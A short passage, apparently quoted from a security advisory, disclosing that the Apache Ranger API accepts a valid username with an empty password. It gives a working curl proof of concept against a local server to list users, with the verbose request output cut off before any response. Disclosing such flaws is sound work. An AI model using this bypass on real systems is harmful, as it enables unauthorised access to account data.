> Authentication to the Ranger API can be trivially bypassed by sending a valid username along with a null password. API authentication appears to work correctly, rejecting requests if the password is incorrect but allows requests where no password has been sent.
> The example below uses curl to demonstrate this issue by retrieving a list of the users.
> $ curl -u admin: -v http://127.0.0.1:6080/service/xusers/users
> *   Trying 127.0.0.1...
> * Connected to 127.0.0.1 (127.0.0.1) port 6080 (#0)
> * Server auth using Basic with user 'admin'
> > HEAD /service/xusers/users HTTP/1.1
> > Host: 127.0.0.1:6080
> > Authorization: Basic YWRtaW46
> > User-Agent: curl/7.43.0
> > Accept: */*
